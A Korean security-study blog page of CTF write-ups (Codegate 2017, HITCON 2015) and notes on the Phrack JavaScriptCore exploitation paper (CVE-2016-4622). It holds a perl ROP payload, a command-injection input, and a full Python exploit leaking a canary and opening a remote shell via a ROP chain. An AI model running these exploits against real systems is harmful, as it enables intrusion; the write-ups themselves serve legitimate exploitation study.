codegate 2017

크리에이티브 커먼즈 라이선스
Creative Commons License

https://github.com/ctfs/write-ups-2017/tree/master/codegate-prequals-2017/pwn



meow

분석이 어려워보이지만 어려워보이는코드는 다 분석할필요가 없는 코드들입니다

그냥 md5 평문만 찾아내서 gdb로 0x12000이랑 0x14000코드를 보면 되는데

0x12000에서는 write(); read(0, rbp+0x8, 0x18) 을 하는데 처음에는 rbp-0x8로 봐서 아 리턴까지만 딱 덮게 해주네 라고 생각했는데 rbp+0x8이라서 이상함을 느꼈습니다

그래서 14000을 보니 execve가 있고 그 뒤에 /bin/sh랑 pop rdi;ret 이 있어서 그거 이용해서 풀면됩니다


(perl -e 'print "\$W337k!++y\n", "3\n", "\x36\x40\x01\x00\x00\x00\x00\x00", "\x29\x40\x01\x00\x00\x00\x00\x00", "\x00\x40\x01\x00\x00\x00\x00\x00"';cat)|./meow




babyMISC


첫스텝은 base64 encoded string은 다르지만 같은 decoded value를 만듭니다

바이너리에 비교대상 base64는 있으니 그걸 decode해서 뒤에 \x00 하나 붙여주면 길이는 같지만 다른 base64 문자열이 나옵니다

두번째스텝은 두개의 base64 decode string이 같지만 encoded string은 달라야 합니다 cd80, cd80\x00\x00\x00 으로 각각 넣어줍니다

세번째스텝은 filter문제인데 쉘에서 base64 -d  로 하면 널바이트를 무시해주기 때문에 \x00cat flag.txt\x00 한걸 넣었습니다


 ⚡ root@cd80  ~/tmp  ./BabyMISC 

[*] Ok, Let's Start. Input the write string on each stage!:)

[*] -- STAGE 01 ----------

[+] KEY : 


[+] Input > 

TjBfbTRuX2M0bDFfYWc0aW5fWTNzdDNyZDR5OigA

[*] USER : N0_m4n_c4l1_ag4in_Y3st3rd4y:(

[+] -- NEXT STAGE! ----------

[*] -- STAGE 02 ----------

[+] Input 1 

Y2Q4MAAA

[+] Input 2 

Y2Q4MAAAAA==

[+] -- NEXT STAGE! ----------

[*] -- STAGE 03 ----------

[+] Ok, It's easy task to you, isn't it? :)

[+] So I will give a chance to execute one command! :)

[*] Input > 

AGNhdCBmbGFnLnR4dAA=

#                                                       echo -n AGNhdCBmbGFnLnR4dAA= | base64 -d | sh

y0u_pwned_y0ur_b4by

 ⚡ root@cd80  ~/tmp  


babypwn


system함수가 바이너리안에 박혀있어서 카나리만 우회하면되는데 카나리는 A 41개 보내면 저한테 알려줍니다 넣고 /bin/sh만 recv하게 해서 실행합니다


from socket import *

from struct import pack,unpack

p = lambda x : pack("<L", x)

up = lambda x : unpack("<L", x)[0]



## get canary ##

s = socket()

s.connect((gethostbyname("cd80.sexy"), 8181))

print s.recv(4096)

s.send("1\n")

print s.recv(4096)

s.send("A"*41)

print s.recv(4096)

ret = s.recv(4096)

canary = ret.split("\n===============================")[0].split("A"*41)[1]

canary = up('\x00'+canary)

print "canary: 0x%08x"%canary

s.close()


cmd = "/bin/sh 0<&4 1>&4 2>&4\x00"


## exploit ##

s = socket()

s.connect((gethostbyname("cd80.sexy"), 8181))

print s.recv(4096)

s.send("1\n")

print s.recv(4096)

payload = "A"*40

payload += p(canary)

payload += "A"*12


payload += p(0x80486e0) # recv@plt

payload += p(0x8048eec) # ppppr

payload += p(4)

payload += p(0x804b1b4) # bss

payload += p(len(cmd))

payload += p(0)


payload += p(0x8048620) # system

payload += p(0x41414141)

payload += p(0x804b1b4) # bss


s.send(payload)

print s.recv(4096)

s.send("3\n")

print s.recv(4096)

s.send(cmd)

while True:

    tmp = raw_input("$ ")

    if not len(tmp):

        continue

    else:

        s.send(tmp + "\n")

    print s.recv(4096)

s.close()


신고

'해킹공부 > 캡쳐더플래그' 카테고리의 다른 글

codegate 2017  (0) 2017.02.22
HITCON 2015 matrix  (0) 2015.10.23
WhiteHat Contest 2015 cd80  (6) 2015.10.12
LeaveRet JFF Season3 pwnable vaja  (1) 2015.07.26
Codegate2015 junior writeup  (5) 2015.03.16
pCTF 2013 pork  (3) 2014.08.18

설정

트랙백

댓글

Attacking Javascript Engines - Building Exploit Primitives

크리에이티브 커먼즈 라이선스
Creative Commons License

이제 저는 취약점이 발생하는 이유를 알고 디버깅 하는 법을 압니다

오늘 정리할 챕터는 챕터 4이고, 이름은 Building exploit primitives입니다.

제목을 보면 취약점을 공격하기 위해 필요한 몇가지를 만드는 방법에 대한 챕터입니다


지금까지 대회 문제를 풀면서 익스를 할땐, 코드 상 취약점, 각 보호기법들을 우회할 수 있는 취약점들을 이용해서, GOT를 릭해 프로그램에서 사용하지 않는 라이브러리 함수를 실행시켜 쉘을 획득했습니다

아직은 각각이 왜 필요하게 되었는지는 알 수 없지만 이 문서에서는 익스플로잇을 위해 메모리릭과 페이크객체가 필요하다고 하고, 각각을 addrof, fakeobj라고 줄여 부른다고 약속합니다


Prerequisites: Int64

지금까지 알아본 바로는 제목에 나와있듯이 Int64라는 형을 어떻게 표현해야 할지 궁금합니다

왜냐면 Int형을 저장할 땐 FFFF 태그를 붙이고 그 외에 48비트로는 Int64형이라고 할 수 없기 때문이죠

8바이트를 풀로 사용하는 데이터형은 지금까지는 Float형밖에 없었습니다

하지만 이 문서에서 [17]로 링크한 ECMA 표준을보면 표준상으로는 모든 숫자가 float이라고 합니다. 하지만 실제로 구현된 JS 엔진들은 성능상의 문제로 32비트 int형을 별도로 만들어 사용한다고 하고, 필요할 때 이를 float형으로 바꿔 사용한다고합니다(32비트 안에서 표현이 불가능할때)

자바스크립트 데이터 타입은 원래 64비트 정수의 표현이 불가능하기 때문에, JSC에서는 이를 위해 별도의 모듈을 구현해 사용한다고 합니다. 그것이 Int64라고 불리구요(이 설명은 맞지 않습니다 fakeobj를 할때 알았는데 int64는 문서를 쓴사람이 임의로 만든것 같습니다 https://github.com/saelo/jscpwn/  여기서 받아서 쓰면되고, 실행은 ./jsc utils.js Int64.js fakeobj.js로 하면됩니다)


Int64는 제가 보기에는 Object의 형태로 사용이 되는것으로 보이고 아래와 같은 특징을 가집니다

  • (String, Number, Byte) -> Int64로의 형변환이 가능합니다
  • Int64의 덧셈과 뺄셈이 가능하고 assignXXX 메소드를 이용한다는데 assignAdd와 assignSub입니다
  • Add와 Sub의 함수의 리턴값으로 새로운 오브젝트를 만들 수 있다고 합니다

아 여기까지 보면은 Int64 인스턴스를 만들어서

Int64 my_var = Int64("123948120830"), 즉 String을 이용한 초기화가 가능하고

my_var.assignXXX(123123) // 이렇게 사용된다는 거 같네요

그리고

Int64 new_var = Add(my_var, 123) // 이런식으로 사용된다는게 지금까지 세개 특징의 의미입니다


그리고 마지막 특징으로는 Double과 Int64간의 형변환이 가능하다는것을 들었습니다

이거는 뭐 원래 double이 64비트를 풀로 이용하니 어려울 게 없는 특징입니다

변환하는 방법은 Int64("12341234").asDouble() 입니다




addrof and fakeobj

이 두가지 요소 모두 JSC가 double 배열을 저장할 때 NaN-Boxing 표현방식에 구애받지 않는다는점을 이용한다고 합니다

double은 사실 0001-fffe, 즉 태그가 0이나 ffff가 아닌 모든 것이기 때문에 규칙이 있다고 보기는 어렵죠. 그런 말을 하는 것 같습니다

즉, 우리가 double 배열을 사용하면은 결국 JSValue(Nan-Boxed value)를 사용하는 것과 똑같아서 편해진다 이런 말을 하는것 같습니다


그다음에 메모리릭을 하는 방법에 대해 설명을 하는데

[메모리릭]

1. double 배열을 생성한다. 내부적으로는 ArrayWithDouble이라는 타입을 가진 array가 생성이 된다

2. The Bug 섹션에서 했던대로 valueOf를 이용해서 아래와 같은 오브젝트를 생성한다

2-1. 1에서 만든 배열을 shrink시킨다(shrink시킬때 threshold보다 높게 하면 reallocate되는 것 다시 기억)

2-2. 우리가 주소를 알고자 하는 객체만 포함하고 있는 배열을 생성한다. 이 배열은 2-1에서 reallocate된 배열의 바로 뒤에 위치할 것이다(왜냐하면 butterfly들이 저장된 copied space들은 할당이 선형으로 이뤄지기 때문에, 섹션 3 힙에서 언급되는 내용입니다)

2-3. valueOf에서 return할때 어레이의 새 사이즈(The Bug에서는 a.length=0, return 10; 했음)보다 큰 값을 리턴한다

3. slice를 2에서 만든 오브젝트를 인자로해서 호출하라는데 그냥 a.slice({valueOf:~~}); 하란 뜻이다


이렇게 보고 쓰고 나니까 이제 메모리릭이 어떻게 이뤄지는지 알겠습니다 제일 중요한것은 butterfly들은 copied space에 저장된단 내용인데, 섹션 3에서 한번 중요하다고 언급을 이미 한 내용입니다. 섹션3은 그냥 휙휙 읽으면 되는 섹션이기때문에 따로 블로그에 정리하진 않았습니다


우선은 위에 있는 스텝대로 그대로 해봤습니다





그다음에 값을 보고 메모리를 검사해본 화면입니다

 


보면은 b에 들어가있는 0xcd80cd80, 즉 b가 갖고있는 값 자체가 실제로 출력이 됐고

array 타입 자체가 float형이기 때문에 number가 float형으로 저장된 것 같습니다

그러면 한번 array의 주소도 출력이 되는지 확인 해보겠습니다


오옹홍~

메모리상에서는 출력이 됐고


print()에서도 아주 잘 출력이 돼있었습니다

이걸로 봤을 때 우리가 릭한 값은 slice의 결과 값의 인덱스 3번에 있습니다(0부터 셌을 때

그래서 문서에서 함수로 구현해둔것을 보면


이렇게 array를 만들고 a.slice로 리턴된것의 3번째 인덱스를 리턴하고 있습니다


===================================================


자 그러면 이제 addrof는 완벽하게 이해를 했습니다

addrof를 이해하기위해 가장 중요한것은 섹션 2. The Bug에서 얘기했던 shrink와 allocate,

그리고 섹션 3에서 얘기한 copied space에 butterfly들이 할당된단점과 butterfly들은 선형으로 할당된단점

이렇게 총 네가지만 제대로 이해하고 있으면 되는 것 같습니다



다음으로 fakeobj를 봅시다

fakeobj는 반대로 JSObject포인터를 직접 만드는 거라고 합니다

문서에서 설명한 순서를 먼저 보면


1. 오브젝트들의 배열을 생성함(0000태그, 아마도?), 이 어레이는 ArrayWithContiguous라는 타입을 갖는 배열임

2. 마찬가지로 valueOf를 이용해서 아래와 같은 오브젝트를 만듬

2-1. reallocate를 위한 shrinking

2-2. double 배열을 생성하는데, 우리가 조작하고자하는 JSObject의 비트 패턴과 일치하도록 만든다고 하는데 이건 무슨 뜻일까?

2-3. a.slice로 리턴되는 배열의 length를 조작하기 위해 return 0이상


사실 addrof는 이렇게 쓰고나서 바로 이해를 하고 디버깅으로 확인만해봤는데

fakeobj는 썼는데 무슨뜻인지 하나도 모르겠습니다

디버깅을 해서 이해해보도록 하겠습니다


테스트코드는 프랙문서에 있는 fakeobj() 함수에 디버깅 브포를 위한 print만 붙였습니다



우선 맨처음 print(a)에서 메모리를 보면

예상한대로 나옵니다



아 근데 여기서 더 해봤는데 크래쉬가 자꾸나서 일단 오늘은 여기까지

fakeobj는 지금까지 이해한 바로는, 오브젝트의 배열을 만들고, 그 배열에 우리가 원하는 아무 주소나 써서(문서 작성자의 익스에서는 특정 배열+16의 주소) 그 주소를 오브젝트로써 접근해서 arbitrary write가 가능하게 하는 걸로 보임

그래서 addrof = arbitrary read

fakeobj = arbitrary write

addrof + fakeobj = pwn!



신고

설정

트랙백

댓글

Attacking Javascript Engines - The Bug

크리에이티브 커먼즈 라이선스
Creative Commons License

오늘은 문서의 2장인 버그 자체에 대한 설명을 정리합니다



The Bug

우선 이 버그는 ECMA 표준에 정의 돼있는 Array.prototype.slice(start, end) 메소드의 JavaScriptCore 구현체에서 발생합니다.

JavaScriptCore에서는 Source/JavaScriptCore/runtime/ArrayPrototype.cpp 에 arrayProtoFuncSlice 라는 이름으로 구현돼있습니다


Array.prototype.slice는 php의 substring, python의 "asdf"[a:b] 등과 같이 배열이나 문자열을 slice하는 메소드 입니다


먼저 slice메소드를 사용하는 예시를 문서에 나온 그대로 보겠습니다

a.slice는

첫번째인자 <= N < 두번째 인자인 N번째 요소들의 집합을 만듭니다

그래서 1,3 으로 했을때

a[1], a[2] 두개인 [2,3]이라는 array가 만들어집니다




이 slice의 구현체를 봅시다

slice의 구현체는 

/root/browny/WebKit/320b1fc/webkit/Source/JavaScriptCore/runtime/ArrayPrototype.cpp

여기에 arrayProtoFuncSlice 라는 이름의 함수로 있습니다


아래는 문서에서 정리한 소스코드입니다

    // 1. Obtain the reference object for the method call
    JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
    if (!thisObj)
        return JSValue::encode(JSValue());


    // 2. Retrive the length of the array
    unsigned length = getLength(exec, thisObj);
    if (exec->hadException())
        return JSValue::encode(jsUndefined());

    // 3. Convert the arguments (start and end index) into native integer types and clamp them to the range [0, length)
    unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
    unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);

    // 4. Check if a species constructor should be used
    std::pair<SpeciesConstructResult, JSObject*> speciesResult = speciesConstructArray(exec, thisObj, end - begin);
    // We can only get an exception if we call some user function.
    if (UNLIKELY(speciesResult.first == SpeciesConstructResult::Exception))
        return JSValue::encode(jsUndefined());

    // 5. Perform the slicing
    if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
        if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
            return JSValue::encode(result);
    }

1. this를 구합니다. 즉 a.slice에서 a를 구합니다

2. 배열의 길이를 구합니다

3. begin에는 0번째인자, end에는 2번째 인자를 넣습니다. argumentClampedIndexFromStartOrEnd는 a.slice(-2, 4)나 a.slice(1, 5) 등에 대해서도 정상 작동하게 구현돼있습니다

4. species라는건 상속관계를 뜻하는것 같습니다. 어레이의 요소들이 바꼈을 때 새로 생성자를 호출해야되는지를 체크하는거 같기도 하네요 잘 모르겠습니다

5. fast slice를 호출합니다 ( 이 취약점은 fast slice 에서만 발생합니다 )


fast slice에서만 취약점이 발생한 이유는 문서에서 설명하고 있는데

slow slice에서는 요소를 가져올 때 오브젝트에 getProperty를 호출하고 hadExecption을 체크하는데 여기서 바운드 체크를 한다고 합니다



argumentClampedIndexFromStartOrEnd 함수는 이름이 참 긴데

두번째인자 (위의 slice코드에서 begin은 0, end는 1로 설정된 그 값)으로 인자를 가져오고

그 값을 toInteger해서 native 자료형으로 변경합니다


함수 분석을 모두 적기는 제가 힘들어서 대충 쓰면

toInteger에서 toNumber를 호출합니다

toNumber에서는 toPrimitive와, toPrimitive에서 리턴된 오브젝트에서 toNumber를 호출합니다

toPrimitive에서는  callToPrimitiveFunction<TypeHintMode::TakesHint>(exec, this, exec->propertyNames().toPrimitiveSymbol, preferredType); 를 호출합니다


callToPrimitiveFunction에서는 오브젝트의 toPrimitive함수를 호출합니다

primitive라는 용어는 https://developer.mozilla.org/en/docs/Glossary/Primitive 여기에 잘 설명 돼있습니다



이런식으로 인자가 number뿐만 아니라 String, Boolean, Symbol 등 다른 primitive의 경우에도 가능하다면 숫자로 변환시켜줍니다

유연한 형변환을 위한 구현인 것 같습니다

예를 들어서 서버에서 정수를 받아와서 인자에 바로 넣었는데 이런 유연한 형변환을 지원하지 않는다면 

func(a, b); 라고 하면 될것을

func(int(a), int(b)); 와 같이 쓰게 됩니다

이런 편의성을 지원하기 위해 만들어진 개념 같습니다


근데 이런 기능들이 특정 primitive에만 한정돼서 유연하다면 결국 number만 허용하는것과 다를게 없겠죠

https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/valueOf

이 문서에서는 valueOf라는 메소드를 이용해 값을 조작하는데,

위 링크에 잘 설명이 돼있습니다

한번 따라해보면


이렇게 값을 참조할때 코드를 실행시키게 할 수 있습니다

CVE-2016-4622는 바로 이런 기능을 이용해서 공격하는 취약점입니다



이렇게 간단하게도 사용이 가능합니다


문서에 나와있는걸 똑같이 해보면


이렇게 앞의 0.123, 1.123을 제외하면 원래 있던 값이 사라졌습니다

아무리 length를 0으로 설정했어도 slice에서 10을 리턴했기 때문에

똑같이 a가 있던곳에서 10개만큼을 출력해 줄텐데

뒤에 값이 사라진 이유는 array의 length를 0으로 설정하면 실제 메모리상에서도 줄이면서  realloc을 하기 때문입니다


이게 첫길이와 그다음길이가 64이상 차이가 나야하는데, 그이유는 문서에 쉽게 설명돼있습니다

64바이트 이상 차이가 나지 않으면 배열을 재할당하는것보다 배열 요소를 모두 지우고 그냥 쓰는게 낫다고 합니다



그런데 0.123, 1.123은 왜 남아있고 그뒤에부터 삭제돼있는지 알아봅시다

그걸 알아보기 위해선 a라는 변수가 어떻게 변했는지를 알아야겠죠

그래서 a.slice를 하기전과 후에 print(a)를 넣고, print함수의 구현체에 breakpoint를 걸어 확인해봅시다




섹션 5.2 디버깅 예제

우선 더 쉬운 예제가 섹션 5.2에 있습니다

이 문서 쓰신분이 디버깅 방법에 대해서는 좀 대충대충 넘어가셔갖고 혼자 삽질하면서 깨우친것들인데

우선 디버깅하기 제일 쉬운방법은 JavaScriptCore/jsc.cpp 에 있는 functionPrint 함수에다가 exec->argument(0); 을 %p로 찍는 코드를 집어넣고

lldb나 gdb에서 functionPrint에 브레이크포인트를 건다음

실행하다가 브포가 걸리면 fini로 함수를 실행시킵니다

그러면 인자의 주소가 나오는데 그걸 x/16gx로 보시면됩니다(거의 모든 데이터형이 8바이트기 때문에 g로 봅니다)



우선 jsc.cpp의 functionPrint에 디버깅코드 추가




디버깅 대상 오브젝트고, 저는 print함수에 브포를 걸어서 확인할꺼기 때문에

섹션 5.2에서는 선언만했지만 저는 print도 넣었습니다


gdb로 jsc열고 functionPrint에 브레이크포인트 걸음


실행하고 브포걸린 상태에서 fini로 함수를 실행하면

exec->argument(0), 즉 obj의 주소가 나옴



보면은 일단 첫 8바이트는 JSCell이라고 합니다 뭔지는 일단 저도 스킵하고

두번째가 Butterfly 포인터라고 합니다

근데 null로 설정 돼 있는 이유는 문서에서 설명하기로는 모든 프로퍼티들이 인라인으로 저장돼서라는데 먼소린진 모르겠다

근데 그다음 값들은 태그를 이해하고 있으면 이제 잘보인다

0xffff000000001337 == Integer 0x1337

0x0000000000000006 == Pointer ( False )

0x402bbd70a3d70a3d == 태그가 1~0xfffe니까 double,

0x00007fffb1fcfee0 == 태그가 pointer니까 포인터


double

여기서 유일하게 해석이 어려웠던게 double 이였는데

0x402bbd70a3d70a3d 가 double인건 알겠는데 

https://gregstoll.dyndns.org/~gregstoll/floattohex/ 여기서 converting하면 13.37이 아니라 13.87로 나옵니다

그래서 왜그런가 하다가 floating point 태그가 0x0001 부터 시작하니까 0x0001000000000000을 빼주면 되지 않을까 싶어서 빼니까 13.37이 잘 나왔습니다

그러니까

0x402bbd70a3d70a3d 으로 돼있으면

0x402abd70a3d70a3d 로 값을 읽어야합니다

// 아니 근데 빼야 제대로된 값이 나올때가 있고 안빼야 나올때가 있는데 대체 어떨때 빼야되는거지



array

float은 그렇고 우리는 지금 array를 보고 있기 때문에

0x7fffb1fcfee0을 봅시다

보면은 위에서 obj 자체를 봤을때는 butterfly pointer가 null이였는데 여기서는 값이 설정 돼있습니다

그 이유를 생각해보면 butterfly는 포인터 왼쪽에 property, 오른쪽에 elements를 가지는 구조인데

배열은 element의 나열이 필요하기 때문에 butterfly pointer가 설정돼있는 것 같습니다

그래서 확인해보면


array에 있었던 Integer형의 1,2,3,4가 들어있습니다

그럼 이제 우리는 array를 보는 방법도 압니다




문서에 나와있는 예제 코드 분석

그러면 이제 드디어 왜 0.123, 1.123은 남아있고 그다음은 이상한값, 그리고 그 뒤에는 0으로 채워져있었는지 확인해봅시다


먼저 디버깅을 위해 print를 추가한 코드입니다

첫 print에서 array의 주소를 확인하고

두번째 print에서 array의 주소를 다시 확인해봅니다



첫 print에서 본 배열입니다

배열 element들의 시작은 0x7fffb33e4148부터입니다



그다음 slice를 하면서 valueOf에서 length를 0으로 바꿔버렸고

그게 JSArray::setLength에서 정한 threshold보다 차이가 높기 때문에 reallocate가 발생해 배열의 시작주소가 0x7fffb33e4148 에서 0x7fffb33e4740으로 바꼈습니다

값들을 좀 살펴보면


이렇게 돼있고, 이 값은 print(b)에서 나오는 값과 똑같습니다

근데 여기에는 두번나오고 b에서는 한번나온다는점이 다른데, 그 다음 b는 어떻게 돼있나 보죠


우선은 아까 엄청 위에서 했었을때와 같은 값들이 출력이 됐구요

0.123, 1.123 이 있고 그다음 2.121995~~ 가 이제 무슨값이였는지 알게 됐습니다

이렇게 앞에 두개가 남아있는 이유는 아직은 알지 못하겠고

오늘은 여기까지만하고 내일 reallocateAndShrinkButterfly함수를 분석해봐야 알 것 같습니다

그냥 쉽게 생각할 수 있는건 slice의 첫 인자는 0으로 고정돼있으니까 0.123은 무조건 들어갈 거라고 예상할 수 있고, 1.123도 뭐 바로 다음이니까 들어갈 수 있긴 할텐데

정확한 코드 흐름을 내일 더 분석해봐야 알 것 같습니다


오늘은 여기까지

신고

설정

트랙백

댓글

Attacking Javascript Engines - Introduction to Overview

크리에이티브 커먼즈 라이선스
Creative Commons License

스터디 내부용으로만 공유하려고 작성한 글이기 때문에 그런것같이 보이는 문장들이 많습니다

이 글에서 공부하는 문서는 http://phrack.org/papers/attacking_javascript_engines.html 입니다


우리가 보는 문서의 CVE 넘버는 CVE-2016-4622 입니다

트렌드마이크로의 Samuel Gross가 올해 초에 발견한 취약점이라고합니다


이 취약점으로 메모리릭도 되고 페이크객체 삽입도 가능해서 이거 취약점 하나만 갖고도 익스플로잇이 가능하다고 하네요

버그가 커밋 650552a에서 수정됐고 우리가 지금 다운받아서 테스트하는 커밋인 320b1fc가 마지막으로 취약한 버젼이라고 합니다

커밋 2fa4973에서 처음 발생한 취약점인데, 2015년 초에 처음 취약코드가 커밋되고 1년동안 안발견되다가 올해 초에 발견된 취약점이라고 합니다


커밋 2fa4973를 보면 "splice에 있는 것처럼 빠르게 memcpy로 딱 처리하고 끝내는 조건이 필요할 것 같아서 커밋했다" 라고 주석을 달아 커밋했습니다

그래서 취약점 패치 커밋인 650552a를 보면 splice와 slice가 모두 같은방식으로 패치됐습니다



프랙에 나와있는 모든 내용을 사파리 9.1.1에서 다 테스트를 완료 하고 문서를 쓴거라고 하니 문서를 다 이해하고 직접 취약버젼 다운받아서 웹 브라우져상에서 쉘 따는것도 해보면 재밌을 것 같아요 (아직 사파리 옛날버젼 다운받는법은 못찾았습니다)



이 취약점을 제대로 이해하기 위해선 자바스크립트 엔진의 인터널을 잘 이해하고 있어야 하기 때문에 처음에 기본지식들을 다룹니다



Javascript envine overview


자바스크립트 엔진은 대체로

1. 하나 이상의 JIT Compiler를 포함한 컴파일러 아키텍쳐

2. 자바스크립트 VM

3. eval, slice같은 빌트인 함수들의 구현체

이렇게 세가지를 기본적으로 포함하고 있다고 합니다


이 문서에서는 1번은 제외하고 2번과 3번에 대한 이해가 필요하다고 하네요




The VM, Values, and NaN-boxing

먼저 자바스크립트 VM은 그냥 우리가 아는 VM입니다

컴파일러에서 유저 코드를 분석해서 바이트코드를 생성하면, 그 바이트코드를 실행시켜주는 역할을 합니다


문서에서는 VM에 대해서는 딱 이만큼만 설명하고 넘어갑니다


NaN-boxing도 지금 오버뷰를 보는 순간에는 자세하게 알 필요는 없고 그냥 나중에 디버거로 메모리를 봤을 때 원하는 값을 찾을 수 있을 정도로만 알면 될 듯 합니다

JSC에서는 값을 Pointer, Double, Integer로 나눠서 저장 한다고 하고

Pointer의 최상위 2바이트는 0

Double의 최상위 2바이트는 1~65534(0x1 ~ 0xfffe)

Integer의 최상위 2바이트는 65535(0xffff)

라고 합니다

그래서 어떤 변수에 0xcd80cd80을 할당해주고 메모리에서 보면

0xffff0000cd80cd80 으로 보인다는 얘기죠


[False, True, Undefined, Null] 이 네가지는 포인터로 저장된다고 하고 enum을 하나씩 할당 받았습니다

False는 0x0000000000000006

True는 0x0000000000000007

Undefined는 0x000000000000000a

Null은 0x0000000000000002

각각 메모리에서 이렇게 보일 겁니다

꼭 중요하게 여기고 정확히 이해하고 넘어갈 필요는 없어보이고 이런게 있다 정도만 알면 될 것 같습니다



Objects and Arrays

이 장에서는 비교적 중요해보이는 Butterfly 라는 구조를 다룹니다

문서를 중반정도 읽다가 자꾸 butterfly butterfly 해서 이해를 못했었는데 Overview에서 처음에 설명이 돼있더라구요


butterfly는 오브젝트 포인터를 기준으로, 오브젝트의 프로퍼티와 엘레먼트가 양옆으로 날개처럼 퍼져있는 형상이라 해서 붙여진 이름입니다



사진은 프랙에서 가져왔습니다


이런식으로 어떤 오브젝트 포인터가 있으면 선형으로 멤버가 쭉 있는게 아니라

좌속성 우요소로 날개처럼 퍼져있는 형태를 갖습니다

그래서 나중에 디버깅할때 나는 이 오브젝트의 프로퍼티에 0x41414141을 넣었는데 왜 보이질 않아! 할때 이걸 기억해서 아 오브젝트 포인터 말고 오브젝트 포인터-100정도에서 100바이트를 읽어보자 하면 찾을 수 있습니다



그뒤에 인덱싱관련해서 얘기가 나오는데

a = [];

a[0] = 42;

a[10000] = 42;

라는 코드가 있을 때 이 어레이는 10001개짜리 int형 어레이가 아니라

10000번째 인덱스 부터 저장한다는 의미의 영역을 새로 하나를 매핑을 해서 효율적으로 관리를 한다고는 하는데 문서에서도 너무 간단히 설명하고 넘어가는 내용이라 아직 중요한지는 잘 모르겠습니다


그리고 이거는 좀 중요할 수 있어 보이는데

숫자 배열이 있을 때 모든 숫자 하나하나에 NaN-boxing을 적용 시키면 

[1, 2, 3, 4, 5] 가 있을 때

[0xffff000000000001, 0xffff000000000002, 0xffff000000000003, 0xffff000000000004, 0xffff000000000005]; 이렇게 적용되기 때문에 이 값을 저장하고 가져오는데 의미없는 Nan-Boxing, NaN-Unboxing 과정을 거치게 되고, 또 공간도 불필요하게 많이 사용하게 됩니다

따라서 네이티브 타입을 지원하는 배열 형태도 있다고 합니다




Functions

문서는 함수를 엄청 장황하게 길게 설명 해놨는데, 그냥 함수들이 가질 수 있는 예약어가 있다는걸 설명하는 것 같습니다.

이 파트는 뒤에를 안읽어봐서 그런건진 모르겠는데 딱히 볼 필요 없는 섹션같습니다

그냥 오디팅 할 때 함수 구현체에서 볼 수 있는 특징? 을 아주 간단히 정리해둔 것 같습니다


신고

설정

트랙백

댓글

HITCON 2015 matrix

크리에이티브 커먼즈 라이선스
Creative Commons License

올해 히트콘에 재밌는 문제가 많았어서 공부할겸 풀이를 작성해봅니다


matrix문제는 제일 배점이 낮은문제였는데

배점이 낮든말든 허접인 저한텐 너무 어려웠습니다


바이너리는 두개의 행렬을 입력받아 곱한다음 출력해주는 컨셉입니다


그런데 행렬을 위한 공간을 할당할 때 힙이 아닌 alloca를 이용해서 할당합니다

힙을 이용하는것과 스택을 이용하는것에서 취약성이 갈리진 않지만

이 프로그램에선 힙을 사용하는 부분이 없고

스택을 사용하기때문에 크리티컬한 데이터를 조작하기가 훨씬 수월합니다

루프를 돌때 abs를 사용하고, 추가 검증이 없어서

-2147483648로 matrix size를 그냥 넣고 행렬 요소들을 계속 입력하다보니 세그폴이 떠서

크래쉬를 일으키는데는 얼마 안걸렸습니다


취약점은 전형적인 유형인데

이 문제의 취약점은

메모리를 allocate할때(malloc이나 alloca등)

allocate하는 사이즈를 공격자가 컨트롤 할 수 있고

그 데이터보다 많이 넣을 수 있는데서 발생합니다



>>> v38 = -2147483648

>>> (16 * ((8 * v38 * v38 + 22) / 0x10))&0xffffffffffffffff

16L

>>> 


size of matrix를 -2147483648로 설정하면

alloca안의 식이 0x10으로 계산되고

abs(-2147483648) == 0x80000000이기 때문에

수치상으로만 봐도 오버플로우가 명확히 발생합니다


rip컨트롤은 굉장히 쉽고

pop; ret 을 해주면 bp-68에 있는 첫 어레이에서부터 ROP를 할 수 있습니다


관건은 fflush(stdout)을 어떻게 호출하냐인데


main함수 맨뒤에 fflush(stdout)을 해주고

rbp-28h을 rsp에 넣은 뒤 pop pop popo popo pop p op op op op op popop ret해주는 부분이있습니다

rbp-28h은 우리가 컨트롤 할 수 없는 메모리니

저기로 점프하기전에 rbp를 name(0x6020a0)버퍼에서 적당한 지점으로 설정해주면

fflush를 호출한뒤 name버퍼에서 control flow를 유지시킬수가 있습니다


hitcon2015_matrix.py


cd80.py


신고

'해킹공부 > 캡쳐더플래그' 카테고리의 다른 글

codegate 2017  (0) 2017.02.22
HITCON 2015 matrix  (0) 2015.10.23
WhiteHat Contest 2015 cd80  (6) 2015.10.12
LeaveRet JFF Season3 pwnable vaja  (1) 2015.07.26
Codegate2015 junior writeup  (5) 2015.03.16
pCTF 2013 pork  (3) 2014.08.18

설정

트랙백

댓글

WhiteHat Contest 2015 cd80

크리에이티브 커먼즈 라이선스
Creative Commons License

원래 팀을 구하다가 다들 팀이 이미 구해져있길래

그냥 이번대회가 청소년부로 나갈 수 있는 마지막 대회라

한번쯤 혼자 나가서 내가 어느정도 수준인지 검증해보고 싶었는데

역시 아직 개 뉴비란걸 깨달았다

세상에 고수는 차고 넘치는구나 허허


WHITEHATCONTEST2015_cd80_writeup.pdf



신고

'해킹공부 > 캡쳐더플래그' 카테고리의 다른 글

codegate 2017  (0) 2017.02.22
HITCON 2015 matrix  (0) 2015.10.23
WhiteHat Contest 2015 cd80  (6) 2015.10.12
LeaveRet JFF Season3 pwnable vaja  (1) 2015.07.26
Codegate2015 junior writeup  (5) 2015.03.16
pCTF 2013 pork  (3) 2014.08.18

설정

트랙백

댓글

LeaveRet JFF Season3 pwnable vaja

크리에이티브 커먼즈 라이선스
Creative Commons License

[문제 개요]

emulated된 환경안에서의 custom opcode gadget을 활용한 ROP 혹은 메모리 R/W 미 검증을 이용해 vm escape해 공격할 수 있는 문제

virtual machine 바이너리와 해당 machine에서 돌아가는 바이너리가 각각 주어진다

vaja = virtual machine

target = virtual binary


에뮬레이터, 바이너리 제작 스크립트

vaja_source.zip



바이너리 제작스크립트에선 vajacode와 vajadata가 필요한데

vajadata는 그냥 수동으로 제작해줬고

vajacode는 

asmcode.txt

vaja_asm_to_machine.py

위 asmcode.txt를 작성하고 vaja_asm_to_machine.py를 실행하면 만들어준다

실행한후에 machinecode를 가져다가 서버에서 vajacode를 열어 데이터를 집어넣어주고

